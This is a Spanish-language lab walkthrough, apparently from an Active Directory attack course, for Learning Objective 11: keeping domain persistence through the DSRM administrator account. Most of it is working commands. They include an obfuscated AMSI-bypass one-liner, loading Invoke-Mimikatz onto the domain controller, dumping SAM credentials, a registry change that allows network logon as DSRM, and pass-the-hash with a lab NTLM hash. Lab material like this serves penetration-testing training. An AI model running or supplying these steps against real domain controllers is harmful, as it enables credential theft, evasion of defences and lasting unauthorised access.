# 10. Domain Persistence ## Learning Objective 11 Task - Use Domain Admin privileges obtained earlier to abuse the DSRM credential for persistence. Solución Podemos persistir con acceso administrativo en el DC una vez que tenemos privilegios de Administrador de Dominio abusando de el administrador de DSRM. Con los privilegios de administrador de dominio obtenidos anteriormente, ejecuta los siguientes comandos en el DC para abrir una sesión remota de PowerShell ``` PS C:\AD\Tools\Tools> $sess = New-PSSession dcorp-dc.dollarcorp.moneycorp.local PS C:\AD\Tools\Tools> $sess ``` Deshabilitar AMSI en el DC: ``` PS C:\AD\Tools\Tools> Enter-PSSession -Session $sess [dcorp-dc.dollarcorp.moneycorp.local]: PS C:\Users\svcadmin\Documents> sET- ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" - f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) ``` Cargue el script Invoke-Mimikatz en la sesión, ejecute el siguiente comando en la máquina local ``` PS C:\AD\Tools\Tools> Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimikatz.ps1 -Session $sess ``` Extraeremos las credenciales del archivo SAM del DC. La contraseña del Modo de Restauración de Servicios de Directorio (DSRM) se asigna al administrador local del DC ``` PS C:\AD\Tools\Tools> Enter-PSSession -Session $sess [dcorp-dc.dollarcorp.moneycorp.local]: PS C:\Users\svcadmin\Documents>Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' token::elevate lsadump::sam ``` El administrador de DSRM no puede iniciar sesión en el DC desde la red. Así que tenemos que cambiar el modificar el comportamiento de inicio de sesión para la cuenta. modificando el registro en el DC. Podemos hacerlo de la siguiente manera: ``` [dcorp-dc.dollarcorp.moneycorp.local]: PS C:\Users\svcadmin\Documents> New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD ``` Ahora desde nuestro sistema local podemos simplemente pasar el hash para el administrador de DSRM: ``` PS C:\AD\Tools\Tools> Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:a102ad5753f4c441e3af31c97fad86fd /run:powershell.exe"' ``` Ahora podemos acceder al dcorp-dc directamente desde la nueva sesión. ``` PS C:\Windows\System32> ls \\dcorp-dc.dollarcorp.moneycorp.local\c$ ```